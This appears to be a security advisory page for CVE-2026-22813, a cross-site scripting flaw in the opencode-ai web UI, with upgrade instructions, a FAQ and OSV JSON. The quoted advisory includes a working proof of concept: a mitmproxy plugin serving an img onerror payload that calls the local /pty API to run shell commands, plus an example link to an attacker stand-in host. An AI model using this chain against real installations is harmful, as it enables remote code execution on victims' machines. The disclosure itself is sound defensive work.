CVE-2026-22813: Opencode ai Cross-Site Scripting Vulnerability

CRITICAL
Advisory Identifier: GHSA-c83v-7274-4vgp
CWE-79
Published
Advisory Summary

CVE-2026-22813 is a CRITICAL cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Opencode ai libraries in the npm ecosystem. The issue involves malicious website can execute commands on the local system through xss in the opencode web ui. Remediation is available by upgrading affected packages to version 1.1.10.

CVE-2026-22813 at a Glance

CVE Identifier CVE-2026-22813
GHSA Identifier GHSA-c83v-7274-4vgp
Severity CRITICAL
CVSS v3.1 Base Score N/A
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Opencode ai
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-22813

To remediate this vulnerability, upgrade all affected Opencode ai dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

opencode-ai fixed: 1.1.10
npm install opencode-ai@1.1.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls opencode-ai

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-22813, inspect your project dependencies using npm:

npm ls opencode-ai

Analyze the terminal output to locate any version of Opencode ai in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.1.10), your application is affected.

Note: The npm ls opencode-ai command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Opencode ai, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A malicious website can abuse the server URL override feature of the OpenCode web UI to achieve cross-site scripting on `http://localhost:4096`. From there, it is possible to run arbitrary commands on the local system using the `/pty/` endpoints provided by the OpenCode API. ### Code execution via OpenCode API - The OpenCode API has `/pty/` endpoints that allow spawning arbitrary processes on the local machine. - When you run `opencode` in your terminal, OpenCode automatically starts an HTTP server on `localhost:4096` that exposes the API along with a web interface. - JavaScript can make arbitrary same-origin `fetch()` requests to the `/pty/` API endpoints. Therefore, JavaScript execution on `http://localhost:4096` gets you code execution on local the machine. ### JavaScript execution on localhost:4096 The markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection. This means controlling the LLM response for a chat session gets you JavaScript execution on the `http://localhost:4096` origin. This alone would not be enough for a 1-click exploit, but there's functionality in `packages/app/src/app.tsx` to allow specifying a custom server URL in a `?url=...` parameter: ```javascript // packages/app/src/app.tsx const defaultServerUrl = iife(() => { const param = new URLSearchParams(document.location.search).get("url") if (param) return param // [truncated] return window.location.origin }) ``` Using this custom server URL functionality, you can make the web UI connect to and load chat sessions from an OpenCode instance on another URL. For example, tricking a user into opening http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=https://opencode.attacker.example in their browser would load and display `ses_45d2d9723ffeHN2DLrTYMz4mHn` from the attacker-controlled server at https://opencode.attacker.example. ### Note on exploitability Because the localhost web UI proxies static resources from a remote location, the OpenCode team was able to prevent exploitation of this issue by making a server-side change to no longer respect the `?url=` parameter. This means the specific vulnerability used to achieve XSS on the localhost web UI no longer works as of `Fri, 09 Jan 2026 21:36:31 GMT`. Users are still strongly encouraged to upgrade to version 1.1.10 or later, as this disables the web UI/OpenCode API to reduce the attack surface of the application. Any future XSS vulnerabilities in the web UI would still impact users on OpenCode versions before 1.10.0. ### Proof of Concept A simple way to serve a malicious chat session is by setting up mitmproxy in front of a real OpenCode instance. This is necessary because the OpenCode web UI must load a bunch of resources before it loads and displays the chat session. 1. Spawn an OpenCode instance in a Docker container ``` $ docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0 ``` 2. Create a file called `plugin.py` with the contents below ```python import base64 import json payload = """ (async () => { // const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'open -F -a Calculator.app']}; const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'touch /tmp/albert-was-here.txt']}; const r = await fetch('/pty', {method: 'POST', body: JSON.stringify(ptyInit), headers: {'Content-Type': 'application/json'}}); const pty_id = (await r.json())['id']; await new Promise(r => setTimeout(r, 500)); await fetch('/pty/' + pty_id, {method: 'DELETE'}) window.location.replace('https://example.com'); })() """ # Other messages have been removed from this codeblock for brevity malicious_messages = [ # [truncated] { # [truncated] "parts": [ # [truncated] { "id": "prt_ba2d26ca0001fcRfwfEZ4bP7gF", "sessionID": "ses_45d2d9723ffeHN2DLrTYMz4mHn", "messageID": "msg_ba2d269130016guS0KSZ0FY2J9", "type": "text", "text": f"Hello, World!\n<img src=\"/favicon.png\" onerror=\"eval(atob('{base64.b64encode(payload.encode()).decode()}'))\" style=\"display: none;\">", "time": { "start": 1767963258360, "end": 1767963258360 } }, # [truncated] ] } ] malicious_session = {"id":"ses_45d2d9723ffeHN2DLrTYMz4mHn","version":"1.0.220","projectID":"global","directory":"/","title":"Hello World!","time":{"created":1767963257052,"updated":1767963258366},"summary":{"additions":0,"deletions":0,"files":0}} async def response(flow): if flow.request.path.split('?')[0] == '/session': flow.response.text = json.dumps([malicious_session], separators=(',', ':')) elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn': flow.response.status_code = 200 flow.response.text = json.dumps(malicious_session, separators=(',', ':')) elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message': flow.response.text = json.dumps(malicious_messages, separators=(',', ':')) ``` 3. Start mitmproxy with the plugin in reverse proxy mode ``` $ mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096 ``` 4. Start OpenCode in your terminal as the victim ``` $ opencode ``` 5. Visit the following URL in a browser on the same machine running OpenCode: http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345 6. Confirm the file `albert-was-here.txt` was created in the `/tmp/` directory ``` $ ls /tmp/ albert-was-here.txt ```

CVE-2026-22813 Affected Opencode ai Versions

1 component(s)
Fixed Versions:
1.1.10
Product / Package Ecosystem Affected Versions Fixed Version
opencode-ai
npm
< 1.1.10
1.1.10

References

Frequently Asked Questions

What is CVE-2026-22813?
CVE-2026-22813 is a security vulnerability in Opencode ai involving Malicious website can execute commands on the local system through XSS in the OpenCode web UI under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Opencode ai versions are affected?
Affected versions include releases prior to 1.1.10 across affected packages: opencode-ai.
What version fixes CVE-2026-22813?
Upgrading to 1.1.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is opencode-ai affected?
Yes, opencode-ai is affected in releases prior to 1.1.10. Upgrade your dependency to 1.1.10 or later.
What CWE is associated with CVE-2026-22813?
CVE-2026-22813 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for CVE-2026-22813?
Run the dependency tree command: 'npm ls opencode-ai'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-c83v-7274-4vgp",
  "modified" : "2026-01-13T20:36:42Z",
  "published" : "2026-01-13T20:36:41Z",
  "aliases" : [ "CVE-2026-22813" ],
  "summary" : "Malicious website can execute commands on the local system through XSS in the OpenCode web UI",
  "details" : "### Summary\nA malicious website can abuse the server URL override feature of the OpenCode web UI to achieve cross-site scripting on `http://localhost:4096`. From there, it is possible to run arbitrary commands on the local system using the `/pty/` endpoints provided by the OpenCode API.\n\n### Code execution via OpenCode API\n\n- The OpenCode API has `/pty/` endpoints that allow spawning arbitrary processes on the local machine.\n- When you run `opencode` in your terminal, OpenCode automatically starts an HTTP server on `localhost:4096` that exposes the API along with a web interface.\n- JavaScript can make arbitrary same-origin `fetch()` requests to the `/pty/` API endpoints. Therefore, JavaScript execution on `http://localhost:4096` gets you code execution on local the machine.\n\n### JavaScript execution on localhost:4096   \n\nThe markdown renderer used for LLM responses will insert arbitrary HTML into the DOM. There is no sanitization with DOMPurify or even a CSP on the web interface to prevent JavaScript execution via HTML injection.\n\nThis means controlling the LLM response for a chat session gets you JavaScript execution on the `http://localhost:4096` origin. This alone would not be enough for a 1-click exploit, but there's functionality in `packages/app/src/app.tsx` to allow specifying a custom server URL in a `?url=...` parameter:\n\n```javascript\n// packages/app/src/app.tsx\nconst defaultServerUrl = iife(() => {\n  const param = new URLSearchParams(document.location.search).get(\"url\")\n  if (param) return param\n  \n  // [truncated]\n  \n  return window.location.origin\n})\n```\n\nUsing this custom server URL functionality, you can make the web UI connect to and load chat sessions from an OpenCode instance on another URL. For example, tricking a user into opening http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=https://opencode.attacker.example in their browser would load and display `ses_45d2d9723ffeHN2DLrTYMz4mHn` from the attacker-controlled server at https://opencode.attacker.example.\n\n### Note on exploitability\n\nBecause the localhost web UI proxies static resources from a remote location, the OpenCode team was able to prevent exploitation of this issue by making a server-side change to no longer respect the `?url=` parameter. This means the specific vulnerability used to achieve XSS on the localhost web UI no longer works as of `Fri, 09 Jan 2026 21:36:31 GMT`. Users are still strongly encouraged to upgrade to version 1.1.10 or later, as this disables the web UI/OpenCode API to reduce the attack surface of the application. Any future XSS vulnerabilities in the web UI would still impact users on OpenCode versions before 1.10.0. \n\n### Proof of Concept\n\nA simple way to serve a malicious chat session is by setting up mitmproxy in front of a real OpenCode instance. This is necessary because the OpenCode web UI must load a bunch of resources before it loads and displays the chat session.\n\n1. Spawn an OpenCode instance in a Docker container\n\n```\n$ docker run -it --rm -p 4096:4096 ghcr.io/anomalyco/opencode:latest --hostname 0.0.0.0\n```\n\n2. Create a file called `plugin.py` with the contents below\n\n```python\nimport base64\nimport json\n\npayload = \"\"\"\n(async () => {\n    // const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'open -F -a Calculator.app']};\n    const ptyInit = {'command':'/bin/sh', 'args': ['-c', 'touch /tmp/albert-was-here.txt']};\n    const r = await fetch('/pty', {method: 'POST', body: JSON.stringify(ptyInit), headers: {'Content-Type': 'application/json'}});\n    const pty_id = (await r.json())['id'];\n    await new Promise(r => setTimeout(r, 500));\n    await fetch('/pty/' + pty_id, {method: 'DELETE'})\n    window.location.replace('https://example.com');\n})()\n\"\"\"\n\n# Other messages have been removed from this codeblock for brevity\nmalicious_messages = [\n    #  [truncated]\n    {\n        # [truncated]\n        \"parts\": [\n            # [truncated]\n            {\n                \"id\": \"prt_ba2d26ca0001fcRfwfEZ4bP7gF\",\n                \"sessionID\": \"ses_45d2d9723ffeHN2DLrTYMz4mHn\",\n                \"messageID\": \"msg_ba2d269130016guS0KSZ0FY2J9\",\n                \"type\": \"text\",\n                \"text\": f\"Hello, World!\\n<img src=\\\"/favicon.png\\\" onerror=\\\"eval(atob('{base64.b64encode(payload.encode()).decode()}'))\\\" style=\\\"display: none;\\\">\",\n                \"time\": {\n                    \"start\": 1767963258360,\n                    \"end\": 1767963258360\n                }\n            },\n            # [truncated]\n        ]\n    }\n]\n\nmalicious_session = {\"id\":\"ses_45d2d9723ffeHN2DLrTYMz4mHn\",\"version\":\"1.0.220\",\"projectID\":\"global\",\"directory\":\"/\",\"title\":\"Hello World!\",\"time\":{\"created\":1767963257052,\"updated\":1767963258366},\"summary\":{\"additions\":0,\"deletions\":0,\"files\":0}}\n\nasync def response(flow):\n    if flow.request.path.split('?')[0] == '/session':\n        flow.response.text = json.dumps([malicious_session], separators=(',', ':'))\n    elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn':\n        flow.response.status_code = 200\n        flow.response.text = json.dumps(malicious_session, separators=(',', ':'))\n    elif flow.request.path.split('?')[0] == '/session/ses_45d2d9723ffeHN2DLrTYMz4mHn/message':\n        flow.response.text = json.dumps(malicious_messages, separators=(',', ':'))\n```\n\n3. Start mitmproxy with the plugin in reverse proxy mode\n\n```\n$ mitmproxy -s plugin.py -p 12345 -m upstream:http://localhost:4096\n```\n\n4. Start OpenCode in your terminal as the victim\n\n```\n$ opencode\n```\n\n5. Visit the following URL in a browser on the same machine running OpenCode: http://localhost:4096/Lw/session/ses_45d2d9723ffeHN2DLrTYMz4mHn?url=http://localhost:12345\n\n6. Confirm the file `albert-was-here.txt` was created in the `/tmp/` directory\n\n```\n$ ls /tmp/\nalbert-was-here.txt\n```",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "opencode-ai"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.1.10"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/anomalyco/opencode/security/advisories/GHSA-c83v-7274-4vgp"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-22813"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/anomalyco/opencode"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-13T20:36:41Z",
    "nvd_published_at" : "2026-01-12T23:15:53Z"
  }
}